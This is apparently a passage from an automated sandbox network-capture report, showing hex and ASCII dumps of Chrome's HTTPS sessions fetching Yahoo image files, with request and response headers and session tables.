2024-04-27 22:42:00 UTC	197	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 Data Ascii: JFIFXICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@d
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 01 e1 01 e9 01 f2 01 fa 02 03 02 0c 02 14 02 1d 02 26 02 2f 02 38 02 41 02 4b 02 54 02 5d 02 67 02 71 02 7a 02 84 02 8e 02 98 02 a2 02 ac 02 b6 02 c1 02 cb 02 d5 02 e0 02 eb 02 f5 03 00 03 0b 03 16 03 21 03 2d 03 38 03 43 03 4f 03 5a 03 66 03 72 03 7e 03 8a 03 96 03 a2 03 ae 03 ba 03 c7 03 d3 03 e0 03 ec 03 f9 04 06 04 13 04 20 04 2d 04 3b 04 48 04 55 04 63 04 71 04 7e 04 8c 04 9a 04 a8 04 b6 04 c4 04 d3 04 e1 04 f0 04 fe 05 0d 05 1c 05 2b 05 3a 05 49 05 58 05 67 05 77 05 86 05 96 05 a6 05 b5 05 c5 05 d5 05 e5 05 f6 06 06 06 16 06 27 06 37 06 48 06 59 06 6a 06 7b 06 8c 06 9d 06 af 06 c0 06 d1 06 e3 06 f5 07 07 07 19 07 2b 07 3d 07 4f 07 61 07 74 07 86 07 99 07 ac 07 bf 07 d2 07 e5 07 f8 08 0b 08 1f 08 32 08 46 08 5a 08 6e 08 82 08 96 08 aa 08 be 08 d2 08 Data Ascii: &/8AKT]gqz!-8COZfr~ -;HUcq~+:IXgw'7HYj{+=Oat2FZn
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 78 cc 79 2a 79 89 79 e7 7a 46 7a a5 7b 04 7b 63 7b c2 7c 21 7c 81 7c e1 7d 41 7d a1 7e 01 7e 62 7e c2 7f 23 7f 84 7f e5 80 47 80 a8 81 0a 81 6b 81 cd 82 30 82 92 82 f4 83 57 83 ba 84 1d 84 80 84 e3 85 47 85 ab 86 0e 86 72 86 d7 87 3b 87 9f 88 04 88 69 88 ce 89 33 89 99 89 fe 8a 64 8a ca 8b 30 8b 96 8b fc 8c 63 8c ca 8d 31 8d 98 8d ff 8e 66 8e ce 8f 36 8f 9e 90 06 90 6e 90 d6 91 3f 91 a8 92 11 92 7a 92 e3 93 4d 93 b6 94 20 94 8a 94 f4 95 5f 95 c9 96 34 96 9f 97 0a 97 75 97 e0 98 4c 98 b8 99 24 99 90 99 fc 9a 68 9a d5 9b 42 9b af 9c 1c 9c 89 9c f7 9d 64 9d d2 9e 40 9e ae 9f 1d 9f 8b 9f fa a0 69 a0 d8 a1 47 a1 b6 a2 26 a2 96 a3 06 a3 76 a3 e6 a4 56 a4 c7 a5 38 a5 a9 a6 1a a6 8b a6 fd a7 6e a7 e0 a8 52 a8 c4 a9 37 a9 a9 aa 1c aa 8f ab 02 ab 75 ab e9 ac 5c ac Data Ascii: xy*yyzFz{{c{\|!\|\|}A}~~b~#Gk0WGr;i3d0c1f6n?zM _4uL$hBd@iG&vV8nR7u\
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 6a dc c0 99 19 c7 24 28 a1 c4 ad 5f 0e b4 f2 6d 5b 52 ad c5 5d 53 90 01 cd 73 b2 3f 1a 36 5a 89 4f 0c ad 17 0b cc 38 09 d2 30 e1 8b ca 1d c4 87 de b4 48 98 e7 a8 a5 61 bc 3a 94 29 b6 90 12 52 09 51 41 07 71 24 8e 60 ca 7c f1 f2 8d 5f b8 c8 f0 ab 8e 1a 53 86 9a 8e 3d ee 57 03 a0 49 b8 c2 e6 cc fb 65 e2 74 77 c2 bb 95 25 6e 38 95 82 39 14 e0 02 3b 56 3c dc 5d 6c a8 d2 99 6c 17 fd 4e b1 d1 d2 3e cc df 68 1b 6c fd 63 27 85 70 9b bd c7 c2 64 40 9c d1 8f 29 d5 ab 21 b2 3d 32 12 e6 f5 61 21 5c d5 9c 67 b6 7c e7 c7 c4 7e 02 99 aa 31 6d 76 35 c7 15 66 ea 4d 37 a9 34 95 df 83 ba 7a c3 77 b2 70 ce 50 6d 02 cf 29 32 67 35 e8 ac a6 43 2e 46 49 f5 19 69 d5 fa ea 24 05 05 21 49 dc 53 b4 0a ed e1 fc ad ea fa 95 4b 87 c9 6f 7b b5 4a e1 06 8f e3 a6 a7 e1 d5 d2 75 aa df 7c Data Ascii: j$(_m[R]Ss?6ZO80Ha:)RQAq$`\|_S=WIetw%n89;V<]llN>hlc'pd@)!=2a!\g\|~1mv5fM74zwpPm)2g5C.FIi$!ISKo{Ju\|
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 4c 6f db 76 d7 d9 4a d4 16 f3 52 e3 1e 4e a8 65 4a c1 ed 9c 8e bd ce 47 22 2b b3 87 93 54 99 e7 f3 31 39 6e 26 ab b8 6a ad 55 72 8a 60 ce d5 17 77 e2 ad 29 42 98 76 6b 8b 6d 49 4a b7 24 14 93 82 02 89 23 d8 92 46 2b d2 2f 03 b9 c6 71 6a cc 5b 0e 3b 19 e4 48 8e ea 9b 71 b5 05 21 69 38 29 23 a1 06 ad 8d 35 c1 cf 4f 9a 12 94 a5 ad 4e 38 b2 a5 28 95 29 4a 39 24 fb 9a b5 25 45 8f b1 25 e1 eb 30 1d d5 31 97 3a 60 8c a6 90 ea a3 2f 70 4a be 23 61 0d 6d 2a 52 13 b8 2c a5 5f 32 d0 93 b4 8d dc c0 38 32 a5 f0 b8 2d c5 4e 4c c9 f1 05 13 8d d2 d7 a6 d3 3a f0 1d 8e d9 69 fb 7d d2 53 8f 2e 1b 8a 5e 00 25 69 4e d2 53 b0 ab 68 29 cf 43 d8 55 8f c2 f1 59 a3 22 9f 08 c5 71 05 f8 27 54 3f 0a da d5 ab d0 80 d3 50 c3 f6 c7 94 eb 32 bd 34 84 fa fb d4 79 95 8c 13 80 06 73 cb b9 Data Ascii: LovJRNeJG"+T19n&jUr`w)BvkmIJ$#F+/qj[;Hq!i8)#5ON8()J9$%E%01:`/pJ#am*R,_282-NL:i}S.^%iNSh)CUY"q'T?P24ys
2024-04-27 22:42:00 UTC	69	IN	Data Raw: 3c 35 e8 72 e6 b9 b5 b5 62 bc aa d1 f1 3e 94 95 64 45 91 cd 25 64 7f a3 27 a6 ec 74 04 f3 e5 dc e4 6c 8b 6d 1c e9 5a 74 61 34 fd 81 ed 51 7a 8f 64 96 ff 00 c1 3c f3 81 bd fb 42 be 65 67 18 05 49 ea 79 0c 90 Data Ascii: <5rb>dE%d'tlmZta4Qzd<BegIy
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 3d c8 19 23 a5 b6 e5 79 6e e7 3f 72 c4 f3 0a d1 2f 81 6d d3 7a 65 98 f7 98 d2 a1 39 19 b4 c8 8d 3d 12 94 d3 e2 53 61 21 b7 9b 48 f9 9b 53 c8 57 a6 e3 60 02 9c 3a d9 27 e4 52 8f 5d 39 65 33 cf 38 a8 91 b5 cc be 71 16 7b b3 27 25 51 ad 76 c4 26 44 d7 98 69 c7 18 80 c9 f4 db 5b a1 25 44 fc c4 05 6d 07 9a 8a 88 c6 4e 34 2f d5 55 2f 9a 45 5f 8e f9 30 fa b3 50 db e6 cb 6a d5 67 8f 11 b8 16 b4 7c 2b 4f 45 6d c6 84 d4 a5 6b 29 90 e2 16 a2 7d 55 05 73 3c bb 72 03 15 a7 1a 3e ac 35 b8 54 60 7e 24 0e d9 ad 6c ce 83 0f 02 3a 54 07 22 f5 d3 40 72 53 d4 1e d4 11 43 7b c5 03 01 bc 50 02 de 28 01 6f 14 00 3b bc 50 00 6e f1 40 0b 77 8a 00 1d de 28 16 c5 bb c5 01 65 85 29 01 d2 f6 04 85 50 38 54 00 e2 6a 50 0f d3 a0 0e 98 05 50 05 77 78 a9 01 6e f1 50 02 f5 28 01 7a 94 00 Data Ascii: =#yn?r/mze9=Sa!HSW`:'R]9e38q{'%Qv&Di[%DmN4/U/E_0Pjg\|+OEmk)}Us<r>5T`~$l:T"@rSC{P(o;Pn@w(e)P8TjPPwxnP(z
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: e6 c5 2a 5b ce a0 1d a4 f7 c5 71 f9 4c ea f0 73 07 12 b8 69 af 26 da ee 37 9b 4c e3 6e ba b4 50 5a 6d 85 af f7 83 1b b7 a5 69 f9 52 12 76 f5 0a dc 0a ba 63 9f 4b 0f cb fe d8 c1 96 b2 3f 62 58 70 b7 4f f1 ce e7 2c d9 f5 65 e1 9b cd 98 32 09 32 62 ec 79 07 9f ca 49 27 3f 5e 94 b9 8b 1e be 08 62 2c 8f db 1b 23 56 69 f8 76 9b 13 d6 f7 5a ca 94 da 90 ac fb 6d f6 ae 4a 6e 2c ea c9 45 e8 f2 73 25 e2 d3 78 d2 8f b2 bd 3d a6 1b 96 25 4d 2c 7a d8 da 19 c0 27 7e 00 c2 8f b7 4e 95 d0 8a 79 08 e4 3e 9c 73 a4 5e e1 bb 1a eb 84 6b b3 c9 8c 0a e5 5a d4 ca 49 e6 14 b0 08 4e 7c 92 3a d5 98 99 3e 5b 5c c1 97 79 3a 27 9c e1 46 34 85 b1 9c fa 6a db 9f 7a f7 31 7d 4a d1 e3 9a a7 4c ca 34 bc 80 41 e9 56 8a 38 be 64 10 68 04 37 41 22 a0 0a b4 e1 49 e5 41 05 fb 2b 38 14 07 71 cd Data Ascii: *[qLsi&7LnPZmiRvcK?bXpO,e22byI'?^b,#VivZmJn,Es%x=%M,z'~Ny>s^kZIN\|:>[\y:'F4jz1}JL4AV8dh7A"IA+8q
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: bd 71 6c e9 46 34 43 b8 2b 7f 60 db ce 9a 93 29 c7 67 5b 46 e5 29 e5 95 b8 b6 9c 5a ca 54 54 79 ab e6 de 9f aa 7c d4 7a 59 d3 c6 91 b4 f5 7e 9c bc dd e3 a2 ed a6 75 4d ca 2f a4 02 9d 8d 1c b6 90 e2 7b f3 29 2a cf e3 52 9b 37 e1 e4 e8 2d 7a d6 22 0f 69 ab fa 62 2e 3b ba c3 56 ef e5 b9 bf 49 44 2b e8 b1 f2 ff 00 4a dd f0 7d 0f 42 b2 b1 6f b1 8e b4 68 1b f4 db a2 66 6a 6b fd ed 76 c8 eb 4a db 87 22 e2 a5 09 0a ec 95 25 20 64 72 e6 33 8f 7f 6a ae 7d 35 c1 ce dd 72 71 df 1a 04 af 55 49 b7 c4 84 db 31 63 b0 c3 2c a3 7b 85 b4 ed 01 59 04 e7 df 92 52 2b 33 7c 9c 5e e7 19 7d a1 24 ca d5 97 eb 36 89 8c 16 98 ca 2a 9c b7 5b 5f 57 8a bd 26 f1 fe ca 14 f1 fa 91 ed 5b b0 dd 29 1c 9d d2 3c c6 8e 8b e1 6d 8a e0 de 8f 8e e4 c9 32 64 c9 73 7b ce 3b 25 e5 3a e9 50 40 db b9 Data Ascii: qlF4C+`)g[F)ZTTy\|zY~uM/{)R7-z"ib.;VID+J}BohfjkvJ"% dr3j}5rqUI1c,{YR+3\|^}$6[_W&[)<m2ds{;%:P@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
253	192.168.2.4	50029	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:00 UTC	522	OUT	GET /uu/api/res/1.2/P1gIuoNrk0jw9Gb0etat2w--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2023-07/d6d83ad0-1b76-11ee-b7dd-3fde6866fb5f.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:00 UTC	1287	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 359906172950461908811654413005626560942,346349957385992108437133608500309371301,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="d6d83ad0-1b76-11ee-b7dd-3fde6866fb5f.webp" Edge-Cache-Tag: 359906172950461908811654413005626560942,346349957385992108437133608500309371301,ae7a14591aaf8d474cdb3f92111c923e Etag: "b03ae248a80a965c222bf544e8cc24ab" Expiration: expiry-date="Thu, 11 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Fri, 12 Jan 2024 23:03:19 GMT Server: ATS Surrogate-Reporting: width=300,height=156,bytes=11104,owidth=1374,oheight=798,obytes=1511301,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Sat, 27 Apr 2024 19:44:29 GMT X-Served-By: cache-lga21955-LGA X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 0 X-Timer: S1714247069.205509,VS0,VE1 Age: 10651 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_by: cache-lga21955-LGA cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 22785 ATS-Carp-Promotion: 1
2024-04-27 22:42:00 UTC	197	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e2 0d 20 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0d 10 61 70 70 6c 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 e7 00 06 00 05 00 0c 00 3a 00 38 61 63 73 70 41 50 50 4c 00 00 00 00 41 50 50 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 61 70 70 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 64 65 73 63 00 00 01 50 00 00 00 62 64 73 63 6d 00 00 01 b4 00 00 01 ea 63 70 72 74 00 00 03 a0 00 00 00 23 77 74 70 74 00 00 03 c4 00 00 00 14 72 58 59 5a 00 00 03 d8 00 00 00 14 67 58 59 5a 00 00 03 ec 00 00 00 14 62 58 59 5a 00 00 04 00 00 00 00 14 72 Data Ascii: JFIF ICC_PROFILEapplmntrRGB XYZ :8acspAPPLAPPL-appldescPbdscmcprt#wtptrXYZgXYZbXYZr
2024-04-27 22:42:00 UTC	188	IN	Data Raw: 02 98 02 a2 02 ac 02 b6 02 c1 02 cb 02 d5 02 e0 02 eb 02 f5 03 00 03 0b 03 16 03 21 03 2d 03 38 03 43 03 4f 03 5a 03 66 03 72 03 7e 03 8a 03 96 03 a2 03 ae 03 ba 03 c7 03 d3 03 e0 03 ec 03 f9 04 06 04 13 04 20 04 2d 04 3b 04 48 04 55 04 63 04 71 04 7e 04 8c 04 9a 04 a8 04 b6 04 c4 04 d3 04 e1 04 f0 04 fe 05 0d 05 1c 05 2b 05 3a 05 49 05 58 05 67 05 77 05 86 05 96 05 a6 05 b5 05 c5 05 d5 05 e5 05 f6 06 06 06 16 06 27 06 37 06 48 06 59 06 6a 06 7b 06 8c 06 9d 06 af 06 c0 06 d1 06 e3 06 f5 07 07 07 19 07 2b 07 3d 07 4f 07 61 07 74 07 86 07 99 07 ac 07 bf 07 d2 Data Ascii: !-8COZfr~ -;HUcq~+:IXgw'7HYj{+=Oat
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 07 e5 07 f8 08 0b 08 1f 08 32 08 46 08 5a 08 6e 08 82 08 96 08 aa 08 be 08 d2 08 e7 08 fb 09 10 09 25 09 3a 09 4f 09 64 09 79 09 8f 09 a4 09 ba 09 cf 09 e5 09 fb 0a 11 0a 27 0a 3d 0a 54 0a 6a 0a 81 0a 98 0a ae 0a c5 0a dc 0a f3 0b 0b 0b 22 0b 39 0b 51 0b 69 0b 80 0b 98 0b b0 0b c8 0b e1 0b f9 0c 12 0c 2a 0c 43 0c 5c 0c 75 0c 8e 0c a7 0c c0 0c d9 0c f3 0d 0d 0d 26 0d 40 0d 5a 0d 74 0d 8e 0d a9 0d c3 0d de 0d f8 0e 13 0e 2e 0e 49 0e 64 0e 7f 0e 9b 0e b6 0e d2 0e ee 0f 09 0f 25 0f 41 0f 5e 0f 7a 0f 96 0f b3 0f cf 0f ec 10 09 10 26 10 43 10 61 10 7e 10 9b 10 b9 10 d7 10 f5 11 13 11 31 11 4f 11 6d 11 8c 11 aa 11 c9 11 e8 12 07 12 26 12 45 12 64 12 84 12 a3 12 c3 12 e3 13 03 13 23 13 43 13 63 13 83 13 a4 13 c5 13 e5 14 06 14 27 14 49 14 6a 14 8b 14 ad 14 ce 14 Data Ascii: 2FZn%:Ody'=Tj"9Qi*C\u&@Zt.Id%A^z&Ca~1Om&Ed#Cc'Ij
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: a6 fd a7 6e a7 e0 a8 52 a8 c4 a9 37 a9 a9 aa 1c aa 8f ab 02 ab 75 ab e9 ac 5c ac d0 ad 44 ad b8 ae 2d ae a1 af 16 af 8b b0 00 b0 75 b0 ea b1 60 b1 d6 b2 4b b2 c2 b3 38 b3 ae b4 25 b4 9c b5 13 b5 8a b6 01 b6 79 b6 f0 b7 68 b7 e0 b8 59 b8 d1 b9 4a b9 c2 ba 3b ba b5 bb 2e bb a7 bc 21 bc 9b bd 15 bd 8f be 0a be 84 be ff bf 7a bf f5 c0 70 c0 ec c1 67 c1 e3 c2 5f c2 db c3 58 c3 d4 c4 51 c4 ce c5 4b c5 c8 c6 46 c6 c3 c7 41 c7 bf c8 3d c8 bc c9 3a c9 b9 ca 38 ca b7 cb 36 cb b6 cc 35 cc b5 cd 35 cd b5 ce 36 ce b6 cf 37 cf b8 d0 39 d0 ba d1 3c d1 be d2 3f d2 c1 d3 44 d3 c6 d4 49 d4 cb d5 4e d5 d1 d6 55 d6 d8 d7 5c d7 e0 d8 64 d8 e8 d9 6c d9 f1 da 76 da fb db 80 dc 05 dc 8a dd 10 dd 96 de 1c de a2 df 29 df af e0 36 e0 bd e1 44 e1 cc e2 53 e2 db e3 63 e3 eb e4 73 e4 Data Ascii: nR7u\D-u`K8%yhYJ;.!zpg_XQKFA=:8655679<?DINU\dlv)6DScs
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 06 ea 3b 63 07 7a b1 70 d9 a3 b3 7e e0 9a f6 59 ca 54 4c d1 2f 3c 50 6b 73 9c 87 4d 34 78 af ca 5b 67 4a d6 86 ea 11 d7 a1 27 b2 95 6d 20 f6 d5 7b 1e 98 8e be 0c b2 53 6a f6 9f 7a 52 56 ec 76 f1 83 8a 94 f4 e5 d8 b9 2b 29 53 a3 d2 a8 34 c6 f9 6c 45 61 3a 50 94 db af 99 24 92 49 37 24 92 4f 5c 26 e2 eb 6e c6 97 84 b3 d2 b4 ba 3a 6a 2b 9c e0 dd 46 69 53 4b b6 af 31 86 56 f8 27 c9 ec da 2e cf 03 72 1b 14 0a 5d 02 1a 5b ba 29 d0 57 34 ad 2b 52 9b 2f 3d ab 59 49 36 fc dd 88 b5 81 bd 8f 5c 68 6d 2d b0 b2 63 af 2e 7b 67 86 34 eb 74 76 aa 79 6b dd 9e 42 1c 0e f3 9b 28 71 3a 90 a0 be a1 43 b8 e9 8b 22 bd 35 92 9d 7b 43 46 72 27 0f 58 a8 2e 2b be f5 12 a6 e3 4c ba 90 1d 75 94 a5 37 37 5a 57 b9 4b 89 3b 11 ab a8 16 dc 62 b2 f3 e0 e0 b7 b1 59 af 91 3b 46 cf 33 64 c4 Data Ascii: ;czp~YTL/<PksM4x[gJ'm {SjzRVv+)S4lEa:P$I7$O\&n:j+FiSK1V'.r][)W4+R/=YI6\hm-c.{g4tvykB(q:C"5{CFr'X.+Lu77ZWK;bY;F3d
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 73 3a 72 db 17 17 bb ca 3f 2c 3e 41 dc 44 f1 4f 87 f4 8c c6 fc 8a 05 75 86 da 83 59 71 2f c4 91 1d 01 2b 8b 25 42 c5 44 0f 13 81 6a db 7b ec 6f b0 b6 9a eb c8 e6 2c b6 b2 bb ee cc a4 59 9f 28 cb ca 95 f9 34 39 92 9a 77 dd 24 2d 0b 2d 6f cc 42 54 46 ca ed 7b 7a e3 3f 51 72 b3 65 1f ea 97 32 34 bb 4a 45 42 13 31 e4 5c 16 92 a0 cd f7 20 15 12 7d 3a 58 74 f3 3b 5e c1 0c 1c ad 06 3c 2c c8 53 73 4d 65 14 98 03 98 a0 47 31 6a 4a f4 82 6f 65 2d 48 dd 29 d8 dd 5d b0 bb 4b 7e f3 2c 91 2e ee 3b ba 65 e8 e1 8d 26 9b 1f 98 e3 0d 2a 5b 54 5a 72 61 45 9e f3 c4 bc b0 a5 2c 1d 40 2a c4 5d 06 c7 48 36 ee 4d c2 75 d1 8e 12 46 2a 72 e6 79 0b a2 1d 72 9a f4 58 57 dd 85 91 c8 2e 29 48 f7 19 14 ba b2 1e 0c ad 99 61 90 b2 9d 5a 83 96 d4 dd ba 0d 40 11 ab a8 ed 6b 9c 01 d8 b3 cd Data Ascii: s:r?,>ADOuYq/+%BDj{o,Y(49w$--oBTF{z?Qre24JEB1\ }:Xt;^<,SsMeG1jJoe-H)]K~,.;e&[TZraE,@]H6MuF*ryrXW.)HaZ@k
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 93 54 e0 15 25 26 fd 30 06 59 19 9d 12 dc f7 1c 61 c1 ab 41 4b a9 41 00 85 14 90 77 04 11 82 97 46 2a 2f 74 78 fd 9f e7 56 b3 16 60 a8 4b 94 c3 cf 4f 96 f2 9d 28 41 53 aa b9 df ad d4 48 df 62 3a e3 33 3f 16 e6 ab bd d0 b4 a1 bb 17 22 bd 26 24 a5 c5 94 cb ac ba d2 8a 14 db 83 4a c5 bc c7 6c 29 2c f4 11 67 7a ae 9e cc 79 fb 35 4b 5c 9e 23 15 15 ea 1f c1 dc c0 47 ff 00 a7 99 80 97 2f 52 54 bd a1 87 4e cb f2 23 40 53 d2 92 0e 96 c3 80 7e ec 31 6b bd d2 fa 93 ee 30 ad 5e 3d 04 f6 60 23 e9 01 1a d6 40 d4 a0 3c af 8e d3 4d 62 2b e8 71 fa cf db 7f 53 0c d6 9e 55 16 9c a0 3f 31 43 fb 47 0e 75 18 c1 00 82 db b0 14 5d 36 3a 37 f5 c4 2b d8 ec 99 63 6f 25 81 9f 94 98 4a a8 8d 04 3b d9 37 36 f4 07 f7 e3 96 eb f1 7d bf 43 a4 f0 fc b3 6f d4 97 90 fb ed 37 ee 8a 6d 6d 29 Data Ascii: T%&0YaAKAwF*/txV`KO(ASHb:3?"&$Jl),gzy5K\#G/RTN#@S~1k0^=`#@<Mb+qSU?1CGu]6:7+co%J;76}Co7mm)
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 6e 92 6b cc ba b9 b8 71 a1 38 cb c6 50 3c d6 ae 5d 55 24 6f 74 83 f7 80 7f 7e 3b 0d 2f 02 39 9c df b4 cc b3 72 bf d8 74 c3 6e ad 93 f7 9c 3a 84 b0 5e 14 8d 0e 25 25 5e 1b f9 03 6f bf 6c 33 71 1e d5 0e 51 90 67 93 e5 1a 6d 62 17 bc be e7 d1 ce 3c 9e 73 69 fd 1b ef 6f dd 8c c5 fd 9a b8 a2 f2 bd a3 43 65 77 5e de a6 29 3f 64 b0 5c 5f 63 87 53 e3 d1 24 64 37 22 07 93 1c a2 51 8c b5 29 21 b0 12 1b 0b b9 36 58 b2 86 fe 2b 75 e8 31 ce 6e 97 2b 66 c6 d6 55 9a cb 12 79 9a b0 b8 49 fa 3e 32 fe b1 c1 73 60 0f eb 18 d0 e8 1a 67 6e fb 6a 9e 12 bf 58 d4 b0 bb 1a 60 cc 69 5e ef 02 42 af f5 8f a8 20 9f 3d 37 fe fc 74 7b 78 a5 03 05 71 2e a8 81 27 f8 c5 d4 6e 49 eb 89 28 85 13 7d 69 f4 2e 92 da 47 e6 aa c7 06 2d 2c 92 9c 2e c8 f5 5c f9 52 66 3c 15 25 98 48 ba a5 cb 50 b8 Data Ascii: nkq8P<]U$ot~;/9rtn:^%%^ol3qQgmb<sioCew^)?d\_cS$d7"Q)!6X+u1n+fUyI>2s`gnjX`i^B =7t{xq.'nI(}i.G-,.\Rf<%HP
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: a6 c0 dc ba d2 92 52 e3 76 ea 6e 9d ec 08 24 a5 3b e1 ba f1 cb c8 b3 a2 03 4b 91 96 9c 96 f3 29 88 e5 4e 3c 56 9b 94 d0 51 5e b4 a8 a0 da f7 50 b1 e5 8f 2d ee 09 3d 63 72 87 93 3a 56 5f 9b 97 e9 eb 33 47 2d e7 ae a4 b2 95 5c 32 de a2 42 48 04 80 a2 49 52 ad dc fa 61 da 31 dc 4b 96 51 fa 3b a7 9e 09 e9 89 6c 6d 9f 5c 74 07 49 c1 0a 07 eb 8e a5 4e ec 6e 0a 85 f0 a8 f5 42 64 f1 16 c8 78 4e 73 62 36 f0 1e 17 6e e2 4f 98 51 27 1d bb 44 f7 16 54 cf 3a 71 25 cf 6f aa 54 47 65 4f f2 63 9f bf a2 e1 fe d2 89 8e 75 f6 b4 f3 a5 36 49 e1 ff 00 04 c4 06 3c b1 93 48 59 7f 63 ca 03 14 39 35 7e 31 56 56 11 45 a3 05 40 71 f0 6e 03 8a 08 2a 4e 91 b9 27 5a 6d 7d ba f5 ed 7f a5 47 7e d4 b7 d2 e3 bf 6b fa 4b ed 9c d3 ae 23 44 0f ce 38 db ad d1 b0 4f 2b 27 24 86 ef 94 9c 6c 1b Data Ascii: Rvn$;K)N<VQ^P-=cr:V_3G-\2BHIRa1KQ;lm\tINnBdxNsb6nOQ'DT:q%oTGeOcu6I<HYc95~1VVE@qn*N'Zm}G~kK#D8O+'$l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
254	192.168.2.4	50032	35.227.252.103	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
